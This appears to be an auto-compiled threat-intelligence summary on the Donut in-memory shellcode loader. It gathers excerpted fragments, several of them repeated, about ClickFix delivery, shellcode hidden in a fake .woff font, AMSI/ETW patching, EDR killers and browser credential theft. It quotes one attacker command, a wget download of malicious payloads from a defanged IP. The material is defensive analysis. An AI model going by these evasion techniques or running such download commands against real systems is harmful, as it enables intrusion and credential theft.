Donut

APT19 downloaded and launched code within a SCT file; APT32 used COM scriptlets to download Cobalt Strike beacons; APT37 used Ruby scripts to execute payloads; ArcaneDoor included the adversary executing command line interface (CLI) commands.

This research analyzes a ClickFix campaign leveraging the spoofed licensing-themed website canndelta.com to deliver the PureLogs stealer through malicious PowerShell commands.

Inside that file was Donut shellcode, an open-source tool capable of loading Windows payloads directly in memory

AppleSeed has the ability to use JavaScript to execute PowerShell. APT32 has used JavaScript for drive-by downloads and C2 communications. Astaroth uses JavaScript to perform its core functionalities.

execute-assembly_windows.go Run .NET assemblies from memory... 0x2C DLL_LOAD Load DLL payload

Bazar has manually loaded ntdll from disk in order to identity and remove API hooks set by security products. Donut can patch AMSI, WLDP, as well as exit-related Native API functions... Turla has used a AMSI bypass, which patches the in-memory amsi.dll.

using a custom malware loader called HUI loader to inject a Cobalt Strike beacon into the Remote Desktop utility mstsc.exe... the attackers used the Havoc tool to inject code into other processes

The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.

The dropper then retrieved what appeared to be a standard web font file with a .woff extension, the kind websites routinely use to load custom typefaces. Inside that file was Donut shellcode

The next stage involved retrieving Donut shellcode through a masqueraded .woff resource... By placing malicious content behind a font-looking path or extension, the attacker makes the payload request appear like a routine static web asset.

using a custom malware loader called HUI loader to inject a Cobalt Strike beacon into the Remote Desktop utility mstsc.exe... the attackers used the Havoc tool to inject code into other processes

The sideloaded DLL decrypts the encrypted payload in NOVupdate.exe.dat by reversing it and XORing it with the key... The malware then executes the decrypted shellcode

Ironically, the actors used a malware protection product to execute the EDR killer to create an execution chain that would appear to be “safe” to other malware protection tools... leveraging kaba.exe, a renamed version of a legitimate Kaspersky executable

Atlantida abuses RegAsm.exe to proxy malicious code execution.

They also used anti-analysis methods, which suggests a “codebase continuity rather than a short-lived ‘smash-and-grab’ campaign.”

Bazar has manually loaded ntdll from disk in order to identity and remove API hooks set by security products. Donut can patch AMSI, WLDP, as well as exit-related Native API functions... Turla has used a AMSI bypass, which patches the in-memory amsi.dll.

That loader decrypts an encrypted file called editor.dat and passes the result to a Donut shellcode loader, which maps the final RAT directly into memory without writing it to disk.

This is a purpose-built Chromium browser credential stealer... The third stage queries each profile’s Login Data SQLite database... decrypts each password value with the recovered AES key, and writes results to per-browser CSV files.

The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.

They also used anti-analysis methods, which suggests a “codebase continuity rather than a short-lived ‘smash-and-grab’ campaign.”

The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.

Examples include: "APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits," "During C0017, APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads," and multiple malware families "use HTTP GET requests" or similar to download files/payloads.

The content repeatedly describes threat actors and malware disabling, stopping, uninstalling, or modifying antivirus, EDR, Windows Defender, AMSI, logging, and other security controls.

Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.